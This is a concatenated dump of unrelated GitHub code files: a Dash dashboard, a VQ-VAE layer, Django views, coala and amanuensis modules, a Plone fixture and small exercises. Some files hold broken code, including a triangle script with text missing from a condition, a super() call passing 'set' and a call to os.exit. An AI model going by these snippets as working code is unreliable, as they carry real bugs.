navbar-toggler classes don't set color\n style={\n \"color\": \"rgba(0,0,0,.5)\",\n \"border-color\": \"rgba(0,0,0,.1)\",\n },\n id=\"navbar-toggle\",\n ),\n html.Button(\n # use the Bootstrap navbar-toggler classes to style\n html.Span(className=\"navbar-toggler-icon\"),\n className=\"navbar-toggler\",\n # the navbar-toggler classes don't set color\n style={\n \"color\": \"rgba(0,0,0,.5)\",\n \"border-color\": \"rgba(0,0,0,.1)\",\n },\n id=\"sidebar-toggle\",\n ),\n ],\n # the column containing the toggle will be only as wide as the\n # toggle, resulting in the toggle being right aligned\n width=\"auto\",\n # vertically align the toggle in the center\n align=\"center\",\n ),\n ]\n)\n\nsidebar = html.Div(\n [\n sidebar_header,\n # we wrap the horizontal rule and short blurb in a div that can be\n # hidden on a small screen\n html.Div(\n [\n html.Hr(),\n html.P(\n \"Description ici.\",\n className=\"lead\",\n )\n ],\n id=\"blurb\",\n ),\n # use the Collapse component to animate hiding / revealing links\n dbc.Collapse(\n dbc.Nav(\n [\n dbc.NavLink(\"Status\", href=\"/\", active=\"exact\"),\n dbc.NavLink(\"Data List\", href=\"/data-list\", active=\"exact\"),\n ],\n vertical=True,\n pills=True,\n ),\n id=\"collapse\",\n ),\n ],\n id=\"sidebar\",\n)\n\ncontent = html.Div(id=\"page-content\")\n\napp.layout = html.Div([\n dcc.Location(id=\"url\"), \n sidebar, \n content,\n dcc.Store(id='store-tags', storage_type='local')\n ])\n\n\n@app.callback(Output(\"page-content\", \"children\"), [Input(\"url\", \"pathname\")])\ndef render_page_content(pathname):\n if pathname == \"/\":\n return status.layout\n elif pathname == \"/data-list\":\n return data_table.layout\n # If the user tries to reach a different page, return a 404 message\n return html.Div(\n [\n html.H1(\"404: Not found\", className=\"text-danger\"),\n html.Hr(),\n html.P(f\"The pathname {pathname} was not recognised...\"),\n ],\n className=\"p-3 bg-light rounded-3\",\n )\n\n@app.callback(\n Output(\"sidebar\", \"className\"),\n [Input(\"sidebar-toggle\", \"n_clicks\")],\n [State(\"sidebar\", \"className\")],\n)\ndef toggle_classname(n, classname):\n if n and classname == \"\":\n return \"collapsed\"\n return \"\"\n\n@app.callback(\n Output(\"collapse\", \"is_open\"),\n [Input(\"navbar-toggle\", \"n_clicks\")],\n [State(\"collapse\", \"is_open\")],\n)\ndef toggle_collapse(n, is_open):\n if n:\n return not is_open\n return is_open\n\n\n@app.callback(\n Output(\"plc-grid\", \"rowTransaction\"),\n Input(\"btn-rmv-plc\", \"n_clicks\"),\n Input(\"btn-add-plc\", \"n_clicks\"),\n State(\"plc-grid\", \"selectedRows\"),\n)\ndef update_plc_rowdata(n1, n2, selection):\n\n if ctx.triggered_id == \"btn-rmv-plc\":\n if selection is None:\n return no_update\n return {\"remove\": selection}\n\n if ctx.triggered_id == \"btn-add-plc\":\n newRows = []\n return {\"add\": newRows}\n \n\n@app.callback(\n Output(\"tag-grid\", \"rowTransaction\"),\n Input(\"btn-load-tag\", \"n_clicks\"),\n)\ndef update_tag_rowdata(n1):\n\n if ctx.triggered_id == \"btn-load-tag\":\n newRows = []\n kafka_connect_url = \"http://:8083\"\n connector_name = \"\" \n url = f\"{kafka_connect_url}/connectors/{connector_name}/config\"\n response = requests.get(url)\n print(response)\n return {\"add\": newRows}\n\n\nif __name__ == \"__main__\":\n app.run_server(port=8888, debug=True)","repo_name":"mehdibouzit/DataForge","sub_path":"app/dataforge.py","file_name":"dataforge.py","file_ext":"py","file_size_in_byte":5513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4443780802","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass VectorQuantizerLayer(nn.Module):\n\n def __init__(self, numEmbeddings, embeddingDim, commitmentCost):\n super(VectorQuantizerLayer, set).__init__()\n\n self._embeddingDim = embeddingDim\n self._numEmbeddings = numEmbeddings\n self._commitmentCost = commitmentCost\n\n self._embedding = nn.Embedding(self._num_embeddings, self._embedding_dim)\n self._embedding.weight.data.uniform_(-1 / self._num_embeddings, 1 / self._num_embeddings)\n\n def forward(self, inputs):\n # convert inputs from BCHW -> BHWC\n inputs = inputs.permute(0, 2, 3, 1).contiguous()\n inputShape = inputs.shape\n\n # Flatten input\n flatInput = inputs.view(-1, self._embeddingDim)\n\n # Calculate distances\n distances = (torch.sum(flatInput ** 2, dim=1, keepdim=True)\n + torch.sum(self._embedding.weight ** 2, dim=1)\n - 2 * torch.matmul(flatInput, self._embedding.weight.t()))\n\n # Encoding\n encodingIndices = torch.argmin(distances, dim=1).unsqueeze(1)\n encodings = torch.zeros(encodingIndices.shape[0], self._numEmbeddings, device=inputs.device)\n encodings.scatter_(1, encodingIndices, 1)\n\n # Quantize and unflatten\n quantized = torch.matmul(encodings, self._embedding.weight).view(inputShape)\n\n # Loss\n eLatentLoss = F.mse_loss(quantized.detach(), inputs)\n qLatentLoss = F.mse_loss(quantized, inputs.detach())\n loss = qLatentLoss + self._commitmentCost * eLatentLoss\n\n quantized = inputs + (quantized - inputs).detach()\n avgProbs = torch.mean(encodings, dim=0)\n perplexity = torch.exp(-torch.sum(avgProbs * torch.log(avgProbs + 1e-10)))\n\n # convert quantized from BHWC -> BCHW\n return loss, quantized.permute(0, 3, 1, 2).contiguous(), perplexity, encodings\n","repo_name":"dnjegovanovic/vqvae","sub_path":"model/VectorQuantizer.py","file_name":"VectorQuantizer.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"12920888085","text":"from controller import PessoaController\n\nwhile True:\n decisao = int(input('Digite 1 para salvar uma pessoa ou digite 3 para sair: '))\n if decisao == 3:\n break\n elif decisao == 1:\n nome = input(\"Digite seu nome: \")\n idade = int(input(\"Digite sua idade: \"))\n cpf = input(\"Digite seu cpf: \")\n\n if PessoaController.cadastrar(nome, idade, cpf):\n print(\"Usuário cadastrado com sucesso!\")\n else:\n print(\"Digite valores válidos!\")\n ","repo_name":"gustavonovais1/python-full","sub_path":"MVC/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"71180993978","text":"import os\r\nos.system(\"cls\")\r\n\r\nclass TriSide():\r\n def __init__(self, a, b, c):\r\n self.a = a\r\n self.b = b\r\n self.c = c\r\n\r\n def area(self):\r\n s = (self.a+self.b+self.c)/2\r\n return (s*(s-self.a)*(s-self.b)*(s-self.c))**0.5\r\n \r\n def type(self):\r\n\r\n if self.a**2==self.b**2+self.c**2 or self.b**2==self.c**2+self.a**2 or self.c**2==self.a**2+self.b**2:\r\n type=\"Right-angled \"\r\n elif self.a**2>self.b**2+self.c**2 or self.b**2>self.c**2+self.a**2 or self.c**2>self.a**2+self.b**2:\r\n type=\"Obtuse-angled \"\r\n elif self.a**2self.c and self.b+self.c>self.a and self.c+self.a>self.b:\r\n print(\"\\nTriangle formed: \",self.type(), \r\n \"\\nArea: \",round(self.area(),3), \"\\n\",sep='')\r\n else:\r\n print(\"\\nThe given sides DO NOT make a valid triangle!\\n\")\r\n\r\nprint(\"To find the type of triangle formed using the given sides:\")\r\na = float(input(\"Enter side 1: \"))\r\nb = float(input(\"Enter side 2: \"))\r\nc = float(input(\"Enter side 3: \"))\r\n\r\nobj = TriSide(a,b,c)\r\nobj.display()","repo_name":"vrajeshsh/python-practice","sub_path":"10. Class & Object/01. Control Statement Applns/01. Conditional Statement Applns/10. Type of Triangle.py","file_name":"10. Type of Triangle.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"12837231948","text":"from aiogram.types import ReplyKeyboardRemove, \\\r\n ReplyKeyboardMarkup, KeyboardButton, \\\r\n InlineKeyboardMarkup, InlineKeyboardButton\r\nfrom aiogram.utils.callback_data import CallbackData\r\n\r\ncd = CallbackData(\"tracks\", \"button\", \"track_id\")\r\n\r\ndef get_kb(track_id):\r\n btn_map = InlineKeyboardButton('Карта', callback_data=cd.new(button='map', track_id=track_id))\r\n btn_json = InlineKeyboardButton('Экспорт', callback_data=cd.new(button='json', track_id=track_id))\r\n inline_kb = InlineKeyboardMarkup()\r\n return inline_kb.row(btn_map, btn_json)","repo_name":"dgarkaev/smartgpsbot","sub_path":"keyboards.py","file_name":"keyboards.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"2374638260","text":"import argparse\nfrom fvcore.common.config import CfgNode as _CfgNode\nfrom pathlib import Path\n\n\nclass CfgNode(_CfgNode):\n \"\"\"\n The same as `fvcore.common.config.CfgNode`, but different in:\n\n 1. Use unsafe yaml loading by default.\n Note that this may lead to arbitrary code execution: you must not\n load a config file from untrusted sources before manually inspecting\n the content of the file.\n 2. Support config versioning.\n When attempting to merge an old config, it will convert the old config automatically.\n\n \"\"\"\n\n def __init__(self, init_dict=None, key_list=None, new_allowed=False):\n # Always allow merging new configs\n self.__dict__[CfgNode.NEW_ALLOWED] = True\n super(CfgNode, self).__init__(init_dict, key_list, True)\n\n # Note that the default value of allow_unsafe is changed to True\n def merge_from_file(self, cfg_filename: str, allow_unsafe: bool = True) -> None:\n loaded_cfg = _CfgNode.load_yaml_with_base(cfg_filename, allow_unsafe=allow_unsafe)\n loaded_cfg = type(self)(loaded_cfg)\n\n # defaults.py needs to import CfgNode\n self.merge_from_other_cfg(loaded_cfg)\n\n\ndef new_config():\n '''\n Creates a new config based on the default config file\n :return:\n '''\n\n C = CfgNode()\n\n C.CONFIG_DIR = 'config/'\n\n C.PATHS = CfgNode()\n C.TRAINER = CfgNode()\n C.MODEL = CfgNode()\n C.DATALOADER = CfgNode()\n C.DATASET = CfgNode()\n C.AUGMENTATIONS = CfgNode()\n\n return C.clone()\n\n\ndef setup_cfg(args, config_name: str = None):\n cfg = new_config()\n config_name = args.config_file if config_name is None else config_name\n cfg.merge_from_file(f'configs/{config_name}.yaml')\n cfg.merge_from_list(args.opts)\n cfg.NAME = config_name\n cfg.PATHS.ROOT = str(Path.cwd())\n assert(Path(args.output_dir).exists())\n cfg.PATHS.OUTPUT = args.output_dir\n assert(Path(args.dataset_dir).exists())\n cfg.PATHS.DATASET = args.dataset_dir\n return cfg\n\n\n","repo_name":"SebastianHafner/DDA_PopulationMapping","sub_path":"utils/experiment_manager.py","file_name":"experiment_manager.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"20710356060","text":"# i have created this file\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\n\ndef index(request):\n return render(request ,'index.html')\n\ndef analyze(request):\n\n # to get text\n djtext= request.POST.get(\"text\",'off')\n\n #check checkbox values\n removepunc = request.POST.get('removepunc','off')\n charcount = request.POST.get('charcount','off')\n caps = request.POST.get('caps','off')\n removeextraspace = request.POST.get('removeextraspace','off')\n newlineremover = request.POST.get('newlineremover','off')\n\n # check which checkbox is on\n\n if removepunc == 'on':\n punctuations ='''!\"#$%&'()*+, -./:;<=>?@[\\]^_`{|}~'''\n analyzed= ''\n for i in djtext:\n if i not in punctuations:\n analyzed += i\n new={'purpose':'Removed Punctuations' , 'analyzed_text':analyzed}\n djtext = analyzed\n\n\n if charcount== 'on':\n analyzed = len(djtext)\n new = {'purpose': 'Length of Characters', 'analyzed_text': analyzed}\n djtext = analyzed\n\n\n if caps=='on':\n analyzed = djtext.upper()\n new = {'purpose': 'Capital Letters', 'analyzed_text': analyzed}\n djtext = analyzed\n\n\n if removeextraspace == 'on':\n analyzed=''\n for index,char in enumerate(djtext):\n if not(djtext[index]==' ' and djtext[index+1]==' '):\n analyzed+=char\n new = {'purpose': 'Remove extra space', 'analyzed_text': analyzed}\n djtext = analyzed\n\n\n if newlineremover == 'on':\n analyzed=\"\"\n for i in djtext:\n if i != \"\\n\" and i != \"\\r\":\n analyzed += i\n new = {'purpose': 'Remove new lines', 'analyzed_text': analyzed}\n djtext = analyzed\n\n\n if (removepunc != \"on\" and newlineremover != \"on\" and removeextraspace != \"on\" and caps != \"on\" and charcount != \"on\"):\n return HttpResponse(\"please select any operation and try again\")\n\n return render(request, 'analyze.html', new)\n","repo_name":"Anjalii22/TextUtils","sub_path":"textutils/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"9142011055","text":"from typing import Any\nfrom django.contrib import admin\n\nfrom django.contrib.admin.models import LogEntry\nfrom django.http.request import HttpRequest\n\n# Register your models here.\nfrom .models import *\n\n@admin.register(FreqAskedQuestion)\nclass FreqAskedQuestionAdmin(admin.ModelAdmin):\n list_display = (\"question\",\"answer\",\"is_set\")\n list_filter = (\"is_set\",)\n search_fields = (\"question\",)\n\n\n@admin.register(Feedback)\nclass FeedbackAdmin(admin.ModelAdmin):\n list_display = (\"name\",\"created_at\",\"show\")\n list_filter = (\"show\",)\n search_fields = (\"name\",\"feedback\")\n\n\n@admin.register(LibraryDocument)\nclass LibraryDocumentAdmin(admin.ModelAdmin):\n list_display = (\"name\",\"created_at\")\n search_fields = (\"name\",)\n\n@admin.register(Revalidate)\nclass RevalidateAdmin(admin.ModelAdmin):\n list_display = (\"url\",\"timestamp\",\"done\")\n list_filter = (\"done\",\"url\")\n search_fields = (\"url\",)\n actions = ['revalidate']\n\n @admin.action(description=\"Revalidate selected urls\")\n def revalidate(modeladmin, request, queryset):\n for obj in queryset:\n obj.save()\n\n\n@admin.register(LogEntry)\nclass LogEntryAdmin(admin.ModelAdmin):\n list_display = (\"object_repr\",\"action_flag\",\"user\",\"change_message\",\"content_type\",\"action_time\")\n list_filter = (\"action_flag\",\"user\",\"content_type\",\"action_time\")\n search_fields = (\"object_repr\",\"change_message\")\n\n\n@admin.register(WebsiteText)\nclass WebsiteTextAdmin(admin.ModelAdmin):\n list_display = (\"title\",\"static_id\")\n search_fields = (\"title\",)\n # readonly_fields = (\"static_id\",)\n\n def get_readonly_fields(self, request,obj):\n rof = ['static_id']\n if obj:\n rof.append('title')\n return rof\n","repo_name":"Arya-veer/BitsLibraryBackend","sub_path":"library_backend/misc/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"9441179582","text":"\"\"\"\r\nDiferentes tipos de redes neuronales con características y aplicaciones\r\nespecificas y diferentes \r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\nclass HammingNetwork:\r\n def __init__(self, input_size, output_size, weights):\r\n self.input_size = input_size\r\n self.output_size = output_size\r\n self.weights = weights\r\n\r\n def predict(self, X):\r\n activations = np.dot(X, self.weights.T)\r\n winner_indices = np.argmax(activations, axis=1)\r\n return winner_indices\r\n\r\n# Ejemplo de uso\r\n# Datos de entrada\r\nX = np.array([\r\n [1, 0, 0, 0],\r\n [0, 1, 0, 0],\r\n [0, 0, 1, 0],\r\n [0, 0, 0, 1]\r\n])\r\n\r\n# Matriz de pesos predefinida para una red de Hamming 4x2\r\nweights = np.array([\r\n [1, -1, 1, -1],\r\n [-1, 1, -1, 1]\r\n])\r\n\r\n# Instanciar la red neuronal de Hamming\r\nnetwork = HammingNetwork(input_size=4, output_size=2, weights=weights)\r\n\r\n# Realizar predicciones\r\npredictions = network.predict(X)\r\n\r\n# Imprimir los resultados\r\nprint(\"Predicciones:\", predictions)\r\n\r\n","repo_name":"5gagoza/2023-IA-codes","sub_path":"011_Redes_Neuronales/067_Hamming_Hopfield_Hebb_Boltzmann.py","file_name":"067_Hamming_Hopfield_Hebb_Boltzmann.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"32667451791","text":"import inspect\nfrom collections import OrderedDict\n\nfrom coalib.misc.Enum import enum\n\n\nclass DocstringMetadata:\n _ParseMode = enum('DESCRIPTION', 'PARAM', 'RETVAL')\n\n def __init__(self, desc, param_dict, retval_desc):\n \"\"\"\n Represents a docstring of a python class or function.\n\n :param desc: A description as string.\n :param param_dict: A dictionary containing parameter names as key and\n their description as value. To preserve the order,\n use OrderedDict.\n :param retval_desc: A string describing the return value.\n \"\"\"\n self.desc = desc\n self.param_dict = param_dict\n self.retval_desc = retval_desc\n\n @classmethod\n def from_docstring(cls, docstring):\n \"\"\"\n Parses a python docstring. Usable attributes are:\n :param\n @param\n :return\n @return\n \"\"\"\n lines = inspect.cleandoc(docstring).split('\\n')\n\n parse_mode = cls._ParseMode.DESCRIPTION\n cur_param = ''\n\n desc = ''\n param_dict = OrderedDict()\n retval_desc = ''\n for line in lines:\n line = line.strip()\n\n if line.startswith(':param ') or line.startswith('@param '):\n parse_mode = cls._ParseMode.PARAM\n splitted = line[7:].split(':', 1)\n cur_param = splitted[0]\n param_dict[cur_param] = splitted[1].strip()\n\n continue\n\n if line.startswith(':return: ') or line.startswith('@return: '):\n parse_mode = cls._ParseMode.RETVAL\n retval_desc = line[9:].strip()\n\n continue\n\n def concat_doc_parts(old: str, new: str):\n if new != '' and not old.endswith('\\n'):\n return (old + ' ' + new).strip()\n\n return old + (new if new != '' else '\\n')\n\n if parse_mode == cls._ParseMode.RETVAL:\n retval_desc = concat_doc_parts(retval_desc, line)\n elif parse_mode == cls._ParseMode.PARAM:\n param_dict[cur_param] = concat_doc_parts(param_dict[cur_param],\n line)\n else:\n desc = concat_doc_parts(desc, line)\n\n return (cls(desc=desc.strip(),\n param_dict=param_dict,\n retval_desc=retval_desc.strip()))\n\n def __str__(self):\n return str(self.desc)\n","repo_name":"coala/coala","sub_path":"coalib/settings/DocstringMetadata.py","file_name":"DocstringMetadata.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":3498,"dataset":"github-code","pt":"23"} +{"seq_id":"7505420521","text":"import flask\nimport jwt\nimport smtplib\nimport json\nfrom cdislogging import get_logger\nfrom gen3authz.client.arborist.errors import ArboristError\n\nfrom amanuensis.resources.userdatamodel import (\n create_project,\n get_all_projects,\n get_project_by_consortium,\n get_project_by_user,\n get_project_by_id,\n update_project,\n associate_user,\n update_request_state,\n get_state_by_code\n)\nfrom amanuensis.resources import filterset, consortium_data_contributor, admin\nfrom amanuensis.resources.request import get_request_state\nfrom amanuensis.resources.userdatamodel.userdatamodel_request import (\n get_requests_by_project_id,\n)\n\nfrom amanuensis.config import config\nfrom amanuensis.errors import NotFound, Unauthorized, UserError, InternalError, Forbidden\nfrom amanuensis.utils import get_consortium_list\nfrom amanuensis.resources.fence import fence_get_users\n\nfrom amanuensis.models import (\n Request,\n ConsortiumDataContributor,\n AssociatedUser\n)\n\nfrom amanuensis.schema import ProjectSchema\n\n\n\nlogger = get_logger(__name__)\n\n\ndef get_all(logged_user_id, logged_user_email, special_user):\n project_schema = ProjectSchema(many=True)\n with flask.current_app.db.session as session:\n if special_user:\n if special_user == \"admin\":\n projects = get_all_projects(session)\n project_schema.dump(projects)\n return projects\n\n # #TODO check if the user is part of a EC commettee, if so get the one submitted to the consortium\n # #Get consortium\n # isEcMember = True\n # consortium = \"INRG\"\n # if isEcMember and consortium:\n # projects = get_project_by_consortium(session, consortium, logged_user_id)\n # project_schema.dump(projects)\n # return projects\n # else:\n # raise NotFound(\n # \"User role and consortium not matching or user {} is not assigned to the Executive Commettee in the system. Consortium: {}\".format(\n # logged_user_id,\n # consortium\n # )\n # )\n\n projects = get_project_by_user(session, logged_user_id, logged_user_email)\n project_schema.dump(projects)\n return projects\n\n\ndef get_by_id(logged_user_id, project_id):\n project_schema = ProjectSchema()\n with flask.current_app.db.session as session:\n project = get_project_by_id(session, logged_user_id, project_id)\n project_schema.dump(project)\n return project\n\ndef get_all_associated_users(emails):\n with flask.current_app.db.session as session:\n associated_users = associate_user.get_associated_users(session, emails)\n return associated_users\n\n\ndef create(logged_user_id, is_amanuensis_admin, name, description, filter_set_ids, explorer_id, institution, associated_users_emails):\n # retrieve all the filter_sets associated with this project\n filter_sets = filterset.get_by_ids(logged_user_id, is_amanuensis_admin, filter_set_ids, explorer_id)\n # example filter_sets - [{\"id\": 4, \"user_id\": 1, \"name\": \"INRG_1\", \"description\": \"\", \"filter_object\": {\"race\": {\"selectedValues\": [\"Black or African American\"]}, \"consortium\": {\"selectedValues\": [\"INRG\"]}, \"data_contributor_id\": {\"selectedValues\": [\"COG\"]}}}]\n\n path = 'http://pcdcanalysistools-service/tools/stats/consortiums'\n consortiums = []\n for s in filter_sets:\n # Get a list of consortiums the cohort of data is from\n # example or retuned values - consoritums = ['INRG']\n # s.filter_object - you can use getattr to get the value or implement __getitem__ - https://stackoverflow.com/questions/11469025/how-to-implement-a-subscriptable-class-in-python-subscriptable-class-not-subsc\n consortiums.extend(get_consortium_list(path, s.graphql_object, s.ids_list)) \n consortiums = list(set(consortiums))\n\n # Defaulst state is SUBMITTED\n default_state = admin.get_by_code(\"IN_REVIEW\")\n\n #TODO make sure to populate the consortium table\n # insert into consortium_data_contributor (\"code\", \"name\") values ('INRG','INRG'), ('INSTRUCT', 'INSTRuCT');\n requests = []\n for consortia in consortiums:\n # get consortium's ID\n consortium = consortium_data_contributor.get(code=consortia.upper())\n if consortium is None:\n raise NotFound(\n \"Consortium with code {} not found.\".format(\n consortia\n )\n )\n req = Request()\n req.consortium_data_contributor = consortium\n req.states.append(default_state)\n requests.append(req)\n\n # Check if associated_users exists in amanuensis\n # 1. get associated_users from amanuensis\n amanuensis_associated_users = get_all_associated_users(associated_users_emails) \n\n # # 1. check if associated_users are already in amanuensis\n # for associated_user in amanuensis_associated_users:\n # if associated_user.ema\n # registered_stat = \n # missing_users_email = \n\n # # 2. Check if associated_user exists in fence. If so assign user_id, otherwise use the submitted email.\n # fence_users = fence_get_users(config=config, usernames=associated_user_emails)\n # fence_users = fence_users['users'] if 'users' in fence_users else []\n \n # 2. Check if any associated_user is not in the DB yet\n missing_users_email = []\n if len(associated_users_emails) != len(amanuensis_associated_users):\n users_email = [user.email for user in amanuensis_associated_users]\n missing_users_email = [email for email in associated_users_emails if email not in users_email]\n\n # 3. link the existing statician to the project\n associated_users = []\n for user in amanuensis_associated_users:\n associated_user = user\n associated_users.append(associated_user)\n\n # 4 or create them if they have not been previously\n for user_email in missing_users_email:\n associated_user = AssociatedUser(email=user_email)\n associated_users.append(associated_user)\n\n\n with flask.current_app.db.session as session:\n project_schema = ProjectSchema()\n project = create_project(session, logged_user_id, description, name, institution, filter_sets, requests, associated_users)\n project_schema.dump(project)\n return project\n\n\ndef update(project_id, approved_url, filter_set_ids):\n # TODO retrieve all the filter_sets associated with this project\n # NOT SUPPORTED YET\n\n if not approved_url:\n return None\n\n with flask.current_app.db.session as session:\n return update_project(session, project_id, approved_url)\n\n\ndef update_project_request_states(requests, state_code):\n with flask.current_app.db.session as session:\n state = get_state_by_code(session, state_code)\n for request in requests:\n update_request_state(session, request, state)\n\n\n\ndef update_project_searches(logged_user_id, project_id, filter_sets_id):\n project_schema = ProjectSchema()\n with flask.current_app.db.session as session:\n # Retrieve the project\n project = get_project_by_id(session, logged_user_id, project_id)\n if not project:\n raise NotFound(\"The project with id {} has not been found\".format(project_id))\n\n # Retrieve all the filter_sets\n filter_sets = filterset.get_filter_sets_by_ids_f(filter_sets_id) \n\n # TODO make this a config variable in amanuensis-config.yaml\n path = 'http://pcdcanalysistools-service/tools/stats/consortiums'\n new_consortiums = []\n for s in filter_sets:\n # s.filter_object - you can use getattr to get the value or implement __getitem__ - https://stackoverflow.com/questions/11469025/how-to-implement-a-subscriptable-class-in-python-subscriptable-class-not-subsc\n new_consortiums.extend(get_consortium_list(path, s.graphql_object, s.ids_list)) \n new_consortiums = list(set(new_consortiums))\n new_consortiums = [consortium.upper() for consortium in new_consortiums]\n \n # Get all the consortium involved in the existing requests\n requests = project.requests\n requests_with_state = [{\"request\": request, \"state\": get_request_state(request.id).state} for request in requests]\n # TODO make this configurable\n old_consortiums = [request[\"request\"].consortium_data_contributor.code for request in requests_with_state if request[\"state\"].code not in [\"WITHDRAWAL\"]]\n\n # Check if the consortium list is changed after changing the associated search\n add_consortiums = list(set(new_consortiums) - set(old_consortiums))\n remove_consortiums = list(set(old_consortiums) - set(new_consortiums))\n\n if add_consortiums and len(add_consortiums) > 0:\n # Defaulst state is SUBMITTED\n default_state = admin.get_by_code(\"IN_REVIEW\")\n if not default_state:\n raise NotFound(\"The state with id {} has not been found\".format(default_state))\n\n existing_consortiums_ids = [r.consortium_data_contributor_id for r in project.requests]\n existing_consortiums_ids = list(set(existing_consortiums_ids))\n\n for add_consortium in add_consortiums:\n consortium = consortium_data_contributor.get(code=add_consortium, session=session)\n if consortium is None:\n raise NotFound(\n \"Consortium with code {} not found.\".format(\n add_consortium\n )\n )\n\n if consortium.id in existing_consortiums_ids:\n # Update existing request record\n for r in project.requests:\n if r.consortium_data_contributor_id == consortium.id:\n update_request_state(session, r, default_state)\n else:\n # create a new request record for this consortium\n req = Request()\n req.consortium_data_contributor = consortium\n req.states.append(default_state)\n project.requests.append(req)\n\n\n if remove_consortiums and len(remove_consortiums) > 0:\n default_state = admin.get_by_code(\"WITHDRAWAL\", session)\n if not default_state:\n raise NotFound(\"The state with id {} has not been found\".format(default_state))\n\n for remove_consortium in remove_consortiums:\n requests_by_project = get_requests_by_project_id(session, project_id)\n for request_by_project in requests_by_project:\n if request_by_project.consortium_data_contributor.code == remove_consortium:\n update_request_state(session, request_by_project, default_state)\n\n\n # Update he filterset\n # session.query().filter(Institution.uid == uid).update({Institution.display_name: display_name})\n # userdatamodel project -> update_project\n project.searches = filter_sets\n\n session.commit()\n project_schema.dump(project)\n return project\n\n \n\n\n","repo_name":"chicagopcdc/amanuensis","sub_path":"amanuensis/resources/project/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"21811357005","text":"import pytest\nfrom flask import url_for\nfrom app import create_app\n\n\n@pytest.fixture\ndef client():\n app = create_app(\"testing\")\n client = app.test_client()\n app_context = app.app_context()\n app_context.push()\n yield client\n if app_context:\n app_context.pop()\n\ndef test_api_hosts(client):\n response = client.get(url_for(\"main.get_hosts_api\"))\n assert response.status_code == 200\n\n\ndef test_api_func_results(client):\n response = client.get(\n url_for(\"main.get_results_api\", host=\"test\", func=\"test\")\n )\n assert response.status_code == 200\n","repo_name":"SiriusKoan/remote-monitor","sub_path":"backend/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"23"} +{"seq_id":"37891380682","text":"'''Napisi program koji ce ucitani string kodirati tako da znak koji se\nu ucitanom stringu ponavlja samo jednom zamijenis s \"(\", a ako se znak ponavlja\nvise puta zamijeni ga sa \"(\".\n\nNpr.\n\"din\" => \"(((\"\n\n\"recede\" => \"()()()\"\n\n\"Success\" => \")())())\"\n\n'''\n\ns1=input()\ns1=s1.lower()\ns2=''\nfor i in s1:\n if s1.count(i)==1:\n s2+='('\n else:\n s2+=')'\n\nprint (s2)\n","repo_name":"ivvez/ZSV-2018-02","sub_path":"CodeWars-zadaci/string-cw6-kodiranje.py","file_name":"string-cw6-kodiranje.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"hr","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"18614243673","text":"import os\nfrom os.path import isfile, join, exists\nimport argparse\n\nparser = argparse.ArgumentParser(description='Parse Input Path')\nparser.add_argument('path', type=str, help='NECESSARY, root path based on which to list all the files')\nargs = parser.parse_args()\n\ndef isSkip(path, ignore_keys):\n for key in ignore_keys:\n if key in path:\n return True\n return False\n\nroot_dir = args.path\nkeys_ignore = ['.git', '.DS_Store', '.gitignore', 'maintenance-scripts']\n\nif not exists(root_dir):\n print('Invailaid working path {}'.format(root_dir))\n os.exit(1)\n\nfor root, directories, filenames in os.walk(root_dir):\n for filename in filenames:\n path_to_print = join(root, filename).replace(root_dir + os.sep, '')\n if isSkip(path_to_print, keys_ignore):\n continue\n print(path_to_print)\n\n","repo_name":"Dafummd/TechLibrary","sub_path":"maintenance-scripts/listFiles.py","file_name":"listFiles.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"23"} +{"seq_id":"15306025008","text":"# -*- coding: utf-8 -*-\nfrom plone.app.testing import PloneSandboxLayer\nfrom plone.app.testing import applyProfile\nfrom plone.app.testing import PLONE_FIXTURE\nfrom plone.app.testing import IntegrationTesting\nfrom plone.app.testing import FunctionalTesting\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.app.testing import setRoles\nfrom plone.app.testing import login\nfrom plone.testing import z2\n\nclass Fixture(PloneSandboxLayer):\n\n defaultBases = (PLONE_FIXTURE,)\n\n def setUpZope(self, app, configurationContext):\n import collective.certified\n self.loadZCML(package=collective.certified)\n\n def setUpPloneSite(self, portal):\n applyProfile(portal, 'collective.certified:default')\n portal.acl_users.userFolderAddUser('admin',\n 'secret',\n ['Manager'],\n [])\n login(portal, 'admin')\n portal.portal_workflow.setDefaultChain(\"simple_publication_workflow\")\n setRoles(portal, TEST_USER_ID, ['Manager'])\n\n\nFIXTURE = Fixture()\nINTEGRATION_TESTING = IntegrationTesting(\n bases=(FIXTURE, ),\n name=\"collective.certified:Integration\"\n)\nFUNCTIONAL_TESTING = FunctionalTesting(\n bases=(FIXTURE,),\n 